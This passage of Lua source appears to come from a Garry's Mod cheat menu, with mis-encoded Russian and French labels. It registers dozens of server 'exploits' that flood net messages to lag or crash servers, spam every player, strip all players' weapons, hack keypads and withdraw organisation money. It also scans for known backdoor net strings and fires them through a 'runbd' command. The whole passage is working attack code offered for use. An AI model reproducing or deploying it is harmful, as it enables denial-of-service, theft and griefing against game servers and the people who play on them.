11049CHATPRINT("Ðайден ÐкÑплоит: Ð¡Ñ‚Ð°Ð²Ð¾ÐºÑ Ð¡Ð¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ðµ [cab_sendmessage]")
11050addExploit( "272","Stavox Message", "", function()
11051surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
11052for k, v in pairs(player.GetAll()) do
11053net.Start("cab_sendmessage")
11054net.WriteEntity(v)
11055net.WriteString("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
11056net.SendToServer()
11057end
11058end )
11059end
11060
11061status = ValidNetString("disguise")
11062if (status) then
11063CHATPRINT("Ðайден ÐкÑплоит: Лаггер #30 [disguise]")
11064addExploit( "273","Лаггер #30", "", function()
11065surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") timer.Create("lagger30", 0, 0, function()
11066for i = 1, 1000 do
11067net.Start("disguise",true)
11068net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 32)
11069net.SendToServer()
11070end
11071end )
11072end )
11073end
11074
11075status = ValidNetString("FARMINGMOD_DROPITEM")
11076if (status) then
11077CHATPRINT("Ðайден ÐкÑплоит: Лаггер #31 [FARMINGMOD_DROPITEM]")
11078addExploit( "274","Лаггер #31", "", function()
11079surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") timer.Create("lagger31", 0, 0, function()
11080for i = 1, 1000 do
11081net.Start("FARMINGMOD_DROPITEM",true)
11082net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 16)
11083net.SendToServer()
11084end
11085end )
11086end )
11087end
11088
11089status = ValidNetString("SlotsRemoved")
11090if (status) then
11091CHATPRINT("Ðайден ÐкÑплоит: Лаггер #32 [SlotsRemoved]")
11092addExploit( "275","Лаггер #32", "Exploit Provenant De L'addon 'PointShop 2 Perma Weapons', ", function()
11093surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") timer.Create("lagger32", 0, 0, function()
11094for i = 1, 1000 do
11095net.Start("SlotsRemoved",true)
11096net.SendToServer()
11097end
11098end )
11099end )
11100end
11101
11102status = ValidNetString("AirDrops_StartPlacement")
11103if (status) then
11104CHATPRINT("Ðайден ÐкÑплоит: Лаггер #33 [AirDrops_StartPlacement]")
11105addExploit( "276","Лаггер #33", "Exploit Provenant De L'addon 'PointShop 2 AirDrops'", function()
11106surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") timer.Create("lagger33", 0, 0, function()
11107for i = 1, 1000 do
11108net.Start("AirDrops_StartPlacement",true)
11109net.SendToServer()
11110end
11111end )
11112end )
11113end
11114
11115status = ValidNetString("IGS.GetPaymentURL")
11116if (status) then
11117CHATPRINT("Ðайден ÐкÑплоит: Лаггер #35 [IGS.GetPaymentURL]")
11118addExploit( "278","Лаггер #35", "Exploit Dans IGS", function()
11119surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") timer.Create("lagger35", 0, 0, function()
11120for i = 1, 1000 do
11121net.Start("IGS.GetPaymentURL",true)
11122net.WriteDouble(9999999999999999999999999999999999999999999999999999999999)
11123net.SendToServer()
11124end
11125end )
11126end )
11127end
11128
11129status = ValidNetString("fg_printer_money")
11130if (status) then
11131CHATPRINT("Ðайден ÐкÑплоит: Лаггер #36 [fg_printer_money]")
11132addExploit( "279","Лаггер #36", "Exploits Dans Les FG Printers", function()
11133surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") timer.Create("lagger36", 0, 0, function()
11134for i = 1, 1000 do
11135net.Start('fg_printer_money',true)
11136net.WriteEntity(LocalPlayer())
11137net.SendToServer()
11138end
11139end )
11140end )
11141end
11142
11143status = ValidNetString("tickbookpayfine")
11144if (status) then
11145CHATPRINT("Ðайден ÐкÑплоит: Лаггер #37 [tickbookpayfine]")
11146addExploit( "280","Лаггер #37", "Exploit De Ticket Book", function()
11147surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") timer.Create("lagger37", 0, 0, function()
11148for i = 1, 1000 do
11149net.Start("tickbookpayfine",true)
11150net.SendToServer()
11151end
11152end )
11153end )
11154end
11155
11156status = ValidNetString("BeginSpin")
11157if (status) then
11158CHATPRINT("Ðайден ÐкÑплоит: Лаггер #38 [BeginSpin]")
11159addExploit( "281","Лаггер #38", "Exploits De Blue Unbox", function()
11160surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") timer.Create("lagger38", 0, 0, function()
11161for i = 1, 1000 do
11162net.Start("BeginSpin",true)
11163net.SendToServer()
11164end
11165end )
11166end )
11167end
11168
11169status = ValidNetString("DuelRequestClient")
11170if (status) then
11171CHATPRINT("Ðайден ÐкÑплоит: Лаггер #39 [DuelRequestClient]")
11172addExploit( "282","Лаггер #39", "", function()
11173surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") timer.Create("lagger39", 0, 0, function()
11174for i = 1, 1000 do
11175net.Start("DuelRequestClient",true)
11176net.SendToServer()
11177end
11178end )
11179end )
11180end
11181
11182status = ValidNetString("ncpstoredoact")
11183if (status) then
11184CHATPRINT("Ðайден ÐкÑплоит: Лаггер #40 [ncpstoredoact]")
11185addExploit( "283","Лаггер #40", "", function()
11186surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") timer.Create("lagger40", 0, 0, function()
11187for i = 1, 1000 do
11188net.Start("ncpstoredoact",true)
11189net.SendToServer()
11190end
11191end )
11192end )
11193end
11194
11195status = ValidNetString("PermwepsNPCSellWeapon")
11196if (status) then
11197CHATPRINT("Ðайден ÐкÑплоит: Лаггер #41 [PermwepsNPCSellWeapon]")
11198addExploit( "284","Лаггер #41", "", function()
11199surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") timer.Create("lagger41", 0, 0, function()
11200for i = 1, 2000 do
11201net.Start("PermwepsNPCSellWeapon",true)
11202net.WriteString("")
11203net.SendToServer()
11204end
11205end )
11206end )
11207end
11208
11209status = ValidNetString("bitcoins_request_withdraw")
11210if (status) then
11211CHATPRINT("Ðайден ÐкÑплоит: Лаггер #42 [bitcoins_request_withdraw]")
11212addExploit( "285","Лаггер #42", "", function()
11213surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") timer.Create("lagger42", 0, 0, function()
11214for i = 1, 2000 do
11215net.Start("bitcoins_request_withdraw",true)
11216net.SendToServer()
11217end
11218end )
11219end )
11220end
11221
11222status = ValidNetString("bitcoins_request_turn_on")
11223if (status) then
11224CHATPRINT("Ðайден ÐкÑплоит: Выключить у вÑем майнинг [bitcoins_request_turn_on]")
11225addExploit( "286","Включить Tout Les Mineurs De Bitcoins", "", function()
11226surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
11227for k, v in pairs(ents.GetAll()) do
11228if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
11229net.Start("bitcoins_request_turn_on")
11230net.WriteEntity(v)
11231net.SendToServer()
11232end
11233end
11234end)
11235end
11236
11237status = ValidNetString("bitcoins_request_turn_off")
11238if (status) then
11239CHATPRINT("Ðайден ÐкÑплоит: Отключить вÑе майнеры[bitcoins_request_turn_off]")
11240addExploit( "287","Désactiver Tout Les Mineurs De Bitcoins", "", function()
11241surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
11242for k, v in pairs(ents.GetAll()) do
11243if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
11244net.Start("bitcoins_request_turn_off")
11245net.WriteEntity(v)
11246net.SendToServer()
11247end
11248end
11249end)
11250end
11251
11252status = ValidNetString("NET_AM_MakePotion")
11253if (status) then
11254CHATPRINT("Ðайден ÐкÑплоит: Лаггер #43 [NET_AM_MakePotion]")
11255addExploit( "288","Лаггер #43", "", function()
11256surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
11257timer.Create("lagger43", 0, 0, function()
11258for i = 1, 2000 do
11259net.Start('NET_AM_MakePotion',true)
11260net.WriteEntity(LocalPlayer())
11261net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 8)
11262net.SendToServer()
11263end
11264end )
11265end )
11266end
11267
11268status = ValidNetString("minigun_drones_switch")
11269if (status) then
11270CHATPRINT("Ðайден ÐкÑплоит: Лаггер #44 [minigun_drones_switch]")
11271addExploit( "289","Лаггер #44", "", function()
11272surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
11273timer.Create("lagger44", 0.2, 0, function()
11274for i=1,2200 do
11275net.Start("minigun_drones_switch",true)
11276net.SendToServer()
11277end
11278end )
11279end )
11280end
11281
11282status = ValidNetString("CW20_PRESET_LOAD")
11283if (status) then
11284CHATPRINT("Ðайден ÐкÑплоит: Лаггер #45 (AVEC DES ARMES CW2 DANS LES MAINS) [CW20_PRESET_LOAD]")
11285addExploit( "290","Лаггер #45", "(AVEC DES ARMES CW2 DANS LES MAINS)", function()
11286surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
11287timer.Create("lagger45", 0.2, 0, function()
11288if(LocalPlayer():GetActiveWeapon():GetClass():find("cw"))then
11289for i=1,2200 do
11290net.Start("CW20_PRESET_LOAD",true)
11291net.SendToServer()
11292end
11293end
11294end )
11295end )
11296end
11297
11298status = ValidNetString("SBP_addtime")
11299if (status) then
11300CHATPRINT("Ðайден ÐкÑплоит: Лаггер #46 [SBP_addtime]")
11301addExploit( "291","Лаггер #46", "", function()
11302surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
11303timer.Create("lagger46", 0.3, 0, function()
11304for i=1,2200 do
11305net.Start("SBP_addtime",true)
11306net.SendToServer()
11307end
11308end )
11309end )
11310end
11311
11312status = ValidNetString("NetData")
11313if (status) then
11314CHATPRINT("Ðайден ÐкÑплоит: Шум одеждой [NetData]")
11315addExploit( "292","Outfit player nouser", "Entend Les Joueurs Près De Toi", function()
11316surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
11317for k, v in pairs(player.GetAll()) do
11318net.Start("NetData")
11319net.WriteString("OF")
11320net.WriteUInt(4,8)
11321net.WriteData(math.random(100000,9999999)..",sis.mdl",30)
11322net.SendToServer()
11323end
11324end )
11325end
11326
11327status = ValidNetString("SBP_addtime")
11328if (status) then
11329CHATPRINT("Ðайден ÐкÑплоит: БуÑтер опыта [SBP_addtime]")
11330addExploit( "293","Booster Son XP", "", function()
11331inputFrameExists = true
11332inputFrame = vgui.Create( "DFrame" )
11333inputFrame:SetTitle("Enter the number")
11334inputFrame:SetSize( 400, 75 )
11335inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
11336inputFrame:SetDraggable(true)
11337inputFrame:ShowCloseButton(true)
11338inputFrame:MakePopup()
11339inputFrame.Paint = function( self, w, h )
11340draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
11341end
11342local TextEntry = vgui.Create( "DTextEntry", inputFrame )
11343TextEntry:SetSize( 380, 30 )
11344TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
11345TextEntry:SetText( "100" )
11346TextEntry.OnEnter = function( self )
11347surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") timer.Create("ofn", 0.2, 0, function()
11348for i=1,tonumber(self:GetText()) do
11349net.Start("SBP_addtime")
11350net.SendToServer()
11351end
11352inputFrame:SetVisible(false)
11353end )
11354end
11355end )
11356end
11357
11358status = ValidNetString("StackGhost")
11359if (status) then
11360CHATPRINT("Ðайден ÐкÑплоит: БуÑтер 24000 #1")
11361addExploit("294", "Booter 24000 #1", "Devient aussi puissant que freezer et adrien", function()
11362surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
11363if !(timer.Exists("Booteur24000")) then
11364timer.Create("Booteur24000", 0.02, 0, function()
11365for i = 1, 2000 do
11366net.Start("StackGhost", true)
11367net.WriteInt(69, 32)
11368net.SendToServer()
11369end
11370end)
11371else
11372timer.Stop("Booteur24000")
11373end
11374end)
11375end
11376
11377status = ValidNetString("pac_submit")
11378if (status) then
11379CHATPRINT("Ðайден ÐкÑплоит: БуÑтер 24000 #2")
11380addExploit("295", "Booter 24000 #2", "Devient aussi puissant que freezer et adrien", function()
11381surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
11382timer.Create("Booteur240002", 0.02, 0, function()
11383for i = 1, 1000 do
11384net.Start("pac_submit")
11385net.SendToServer()
11386end
11387end)
11388end)
11389end
11390
11391status = ValidNetString("RequestMAPSize")
11392if (status) then
11393CHATPRINT("Ðайден ÐкÑплоит: 1тапнуть Сервер [MapSize]")
11394addExploit("296", "1tap Le Serveur [MapSize]", "One shoot un serveur", function()
11395surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
11396timer.Create("lagger10", 0, 0, function()
11397for i = 1, 400 do
11398net.Start("RequestMAPSize")
11399net.SendToServer()
11400end
11401end)
11402end)
11403end
11404
11405status = ValidNetString("properties")
11406if (status) then
11407CHATPRINT("Ðайден ÐкÑплоит: Стрип ÐžÑ€ÑƒÐ¶Ð¸Ñ - 99% FIX")
11408addExploit("297", "Стрип оружиÑ", "Strip weapon tout les joueurs", function()
11409surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
11410for k, v in pairs(player.GetAll()) do
11411if v:IsPlayer() then
11412for k, v in pairs(v:GetWeapons()) do
11413net.Start("properties")
11414net.WriteString("remove", 32)
11415net.WriteEntity(v)
11416net.SendToServer()
11417end
11418end
11419end
11420end)
11421end
11422
11423status = ValidNetString("start_wd_emp")
11424if (status) then
11425CHATPRINT("Ðайден ÐкÑплоит: Взломать кейпады")
11426addExploit("298", "Hack Keypad Instantanné", "Plus rapide que les nouilles instantanné", function()
11427surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
11428net.Start('start_wd_emp')
11429net.SendToServer()
11430end)
11431end
11432
11433status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
11434if (status) then
11435CHATPRINT("Ðайден ÐкÑплоит: Крашнуть Ñервер")
11436addExploit("299", "Faire Crash Le Serveur", "Plutôt Puissant :^)", function()
11437surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
11438timer.Create("crasher2", 0, 0, function()
11439for i = 1, 400 do
11440net.Start("pac.net.TouchFlexes.ClientNotify")
11441net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 13)
11442net.SendToServer()
11443end
11444end)
11445end)
11446end
11447
11448status = ValidNetString("ItemStoreDrop")
11449if (status) then
11450CHATPRINT("Ðайден ÐкÑплоит: Лаггер Item Store")
11451addExploit("300", "Лаггер Item Store", "Item store leak c'est pas cool :/", function()
11452surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
11453timer.Create("booteur24000items", 0, 0, function()
11454for i = 1, 1000 do
11455net.Start("ItemStoreDrop")
11456net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
11457net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
11458net.SendToServer()
11459end
11460end)
11461end)
11462end
11463
11464status = ValidNetString("TFA_Attachment_RequestAll")
11465if (status) then
11466CHATPRINT("Ðайден ÐкÑплоит: Лаги Ñ Ð¾Ñ€ÑƒÐ¶Ð¸ÐµÐ¼ TFA")
11467addExploit("301", "Lags Avec Des Armes TFA", "Oublie pas de porter du TFA", function()
11468surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
11469timer.Create("lagger20", 0.02, 0, function()
11470for i = 1, 4400 do
11471net.Start("TFA_Attachment_RequestAll", true)
11472net.SendToServer()
11473end
11474end)
11475end)
11476end
11477
11478status = ValidNetString("ts_buytitle")
11479if (status) then
11480CHATPRINT("Ðайден ÐкÑплоит: Лаггер #47 [ts_buytitle]")
11481addExploit("302", "Лаггер #47", "Title Store c'est pas ouf", function()
11482surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
11483timer.Create("lagger47", 0, 0, function()
11484for i = 1, 1000 do
11485net.Start("ts_buytitle", true)
11486net.WriteTable({})
11487net.WriteTable({})
11488net.WriteTable({})
11489net.SendToServer()
11490end
11491end)
11492end)
11493end
11494
11495
11496status = ValidNetString("disaster_enable")
11497if (status) then
11498CHATPRINT("Ðайден ÐкÑплоит: Собрать вÑе паÑхалки 88")
11499addExploit( "303","Recevoir Les Easter Eggs 88", "", function()
11500surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") RunConsoleCommand("say", "izi")
11501RunConsoleCommand("88Zilnix")
11502net.Start("disaster_enable")
11503net.SendToServer()
11504--("Vous avez reçu les easter eggs 88 :D")
11505end)
11506end
11507
11508status = ValidNetString("EnterpriseWithdraw")
11509if (status) then
11510CHATPRINT("Ðайден ÐкÑплоит: ВывеÑти деньги организации [EnterpriseWithdraw]")
11511addExploit( "304","Entreprise Trouvé!", "Exploit Du R8 (Soit disant l'un des meilleurs)", function()
11512surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
11513net.Start("EnterpriseWithdraw")
11514net.WriteInt(100, 32)
11515net.SendToServer()
11516end )
11517end
11518
11519status = ValidNetString("SetPermaKnife")
11520if (status) then
11521CHATPRINT("Ðайден ÐкÑплоит: Couteau Permanent / Full Acès Serveur [SetPermaKnife]")
11522addExploit( "305","Couteau Permanent", "Reçois Un Couteau Permanent Ou Un Acès A Tout Sur Le Serveur Avec La Commande gibe_weapon", function()
11523surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") function permaknifepls(ply,cmd,args,argStr)
11524local ply = LocalPlayer()
11525net.Start( "SetPermaKnife" )
11526net.WriteString( string.TrimRight(argStr,".lua") )
11527net.SendToServer()
11528end
11529concommand.Add("gibe_weapon",permaknifepls)
11530end )
11531end
11532
11533print( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
11534print( "Exploits check" )
11535print( "Check terminé" )
11536
11537else
11538local TextHomeza = vgui.Create( "DPanel", Exploits )
11539TextHomeza:SetSize(1000,650)
11540TextHomeza.Paint = function( self, w, h )
11541draw.SimpleText("SNTE Обнаружен. ЕÑть риÑк бана", "pity_home3", 330, 235, Color(255, 74, 74,255), 0, 1)
11542draw.SimpleText("", "pity_home2", 440, 265, Color(255, 255, 255,200), 0, 1)
11543end
11544end
11545end
11546
11547function BD.QuickFireBackdoor()
11548
11549if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then NOTIFICATIONNO("Veuillez séléctionner une backdoor présente") return end
11550
11551if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
11552
11553end
11554
11555concommand.Add("runbd", BD.QuickFireBackdoor)
11556
11557/*==========================
11558|==== Los Famosos Local ====|
11559==========================*/
11560
11561local givemeid = LocalPlayer():SteamID()
11562local ply = LocalPlayer()
11563local asphyxnet = "";
11564local n = net
11565local nr = n.Receive
11566local s = n.ReadString
11567local NBRBackdoor = 0
11568local selectedplayers = {}
11569local selectedbackdoor = ""
11570
11571
11572
11573/*=======================
11574|==== Check Netstring ===|
11575========================*/
11576
11577concommand.Add("asnet", function()
11578local netstrings = {}
11579for i = 1, 9999 do
11580local asnet = util.NetworkIDToString( i )
11581if asnet then MsgC (Color(math.random(1,25),math.random(1,25),math.random(1,25)), "[NetString Détécté] : "..i.." = ") MsgC (Color(math.random(254,255),math.random(254,255),math.random(254,255)),""..asnet.." \n" ) else break end
11582end
11583end)
11584
11585
11586
11587/*=======================
11588|===== MOTDGD KILL =====|
11589========================*/
11590
11591if(istable(MOTDgd))then
11592MOTDgd = {}
11593function MOTDgd.Show() end
11594function MOTDgd.GetIfSkip() return true end
11595print "без рекламы"
11596end
11597
11598
11599
11600
11601
11602local backdoorScrollPanel = vgui.Create( "DScrollPanel", netcmd )
11603backdoorScrollPanel:Dock( FILL )
11604
11605local triggeringbd = "";
11606
11607function triggeringnetcall( str )
11608local status, error = pcall( net.Start, str )
11609return status
11610end
11611
11612if( triggeringnetcall("Ulx_Error_88") ) then
11613triggeringbd = "Mining"
11614chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11615else
11616end
11617
11618if( triggeringnetcall("FAdmin_Notification_Receiver") ) then
11619triggeringbd = "Crero"
11620chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11621else
11622end
11623
11624if( triggeringnetcall("DarkRP_ReceiveData") ) then
11625triggeringbd = "FAdmin"
11626chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11627else
11628end
11629
11630if( triggeringnetcall("fijiconn") ) then
11631triggeringbd = "Pitybd"
11632chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11633else
11634end
11635
11636if( triggeringnetcall("Weapon_88") ) then
11637triggeringbd = "Weapon"
11638chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11639else
11640end
11641
11642if( triggeringnetcall("nostrip") ) then
11643triggeringbd = "Nostrip"
11644chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11645else
11646end
11647
11648if( triggeringnetcall("SessionBackdoor") ) then
11649triggeringbd = "Session"
11650chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11651else
11652end
11653
11654if( triggeringnetcall("DarkRP_AdminWeapons") ) then
11655triggeringbd = "DarkRP_n"
11656chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11657else
11658end
11659
11660if( triggeringnetcall("thefrenchenculer") ) then
11661triggeringbd = "frenculer"
11662chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11663else
11664end
11665
11666
11667if( triggeringnetcall("Fix_Keypads") ) then
11668triggeringbd = "Fix_Keypads"
11669chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11670else
11671end
11672
11673if( triggeringnetcall("_CAC_ReadMemory") ) then
11674triggeringbd = "CAC"
11675chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11676else
11677end
11678
11679if( triggeringnetcall("Remove_Exploiters") ) then
11680triggeringbd = "Exploiters"
11681chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11682else
11683end
11684
11685if( triggeringnetcall("MoonMan") ) then
11686triggeringbd = "MoonMan"
11687chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11688else
11689end
11690
11691if( triggeringnetcall("disablebackdoor") ) then
11692triggeringbd = "disableb"
11693chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11694else
11695end
11696
11697if( triggeringnetcall("Sbox_itemstore") ) then
11698triggeringbd = "Sbox"
11699chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11700else
11701end
11702
11703if( triggeringnetcall("Sbox_darkrp") ) then
11704triggeringbd = "Sbox2"
11705chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11706else
11707end
11708
11709if( triggeringnetcall("R8") ) then
11710triggeringbd = "R8"
11711chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11712else
11713end
11714
11715if( triggeringnetcall("c") ) then
11716triggeringbd = "c"
11717chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11718else
11719end
11720
11721if( triggeringnetcall("_cac_") ) then
11722triggeringbd = "_cac_"
11723chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11724else
11725end
11726
11727if( triggeringnetcall("_Defqon") ) then
11728triggeringbd = "_Defqon"
11729chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11730else
11731end
11732
11733if( triggeringnetcall("noclipcloakaesp_chat_text") ) then
11734triggeringbd = "nck"
11735chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11736else
11737end
11738
11739if( triggeringnetcall("Sandbox_ArmDupe") ) then
11740triggeringbd = "ArmDupe"
11741chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 81, 96, 255 )," БÑкдур Ðе найден : "..triggeringbd )
11742else
11743end
11744
11745if( triggeringnetcall("ITEM") ) then
11746triggeringbd = "ITEM (non-compatible)"
11747chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11748
11749end
11750
11751if( triggeringnetcall("fix") ) then
11752triggeringbd = "fix (non-compatible)"
11753chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11754
11755end
11756
11757if( triggeringnetcall("ULX_QUERY2") ) then
11758triggeringbd = "ULX_QUERY2 (non-compatible)"
11759chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11760
11761end
11762
11763if( triggeringnetcall("Sandbox_GayParty") ) then
11764triggeringbd = "Sandbox_GayParty (non-compatible)"
11765chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11766
11767end
11768
11769if( triggeringnetcall("_CAC_G") ) then
11770triggeringbd = "_CAC_G (non-compatible)"
11771chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11772
11773end
11774
11775if( triggeringnetcall("fellosnake") ) then
11776triggeringbd = "fellosnake (non-compatible)"
11777chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11778
11779end
11780
11781if( triggeringnetcall("stoppk") ) then
11782triggeringbd = "stoppk (non-compatible)"
11783chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11784
11785end
11786
11787if( triggeringnetcall("changename") ) then
11788triggeringbd = "changename (non-compatible)"
11789chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11790
11791end
11792
11793if( triggeringnetcall("Sbox_Message") ) then
11794triggeringbd = "Sbox_Message (non-compatible)"
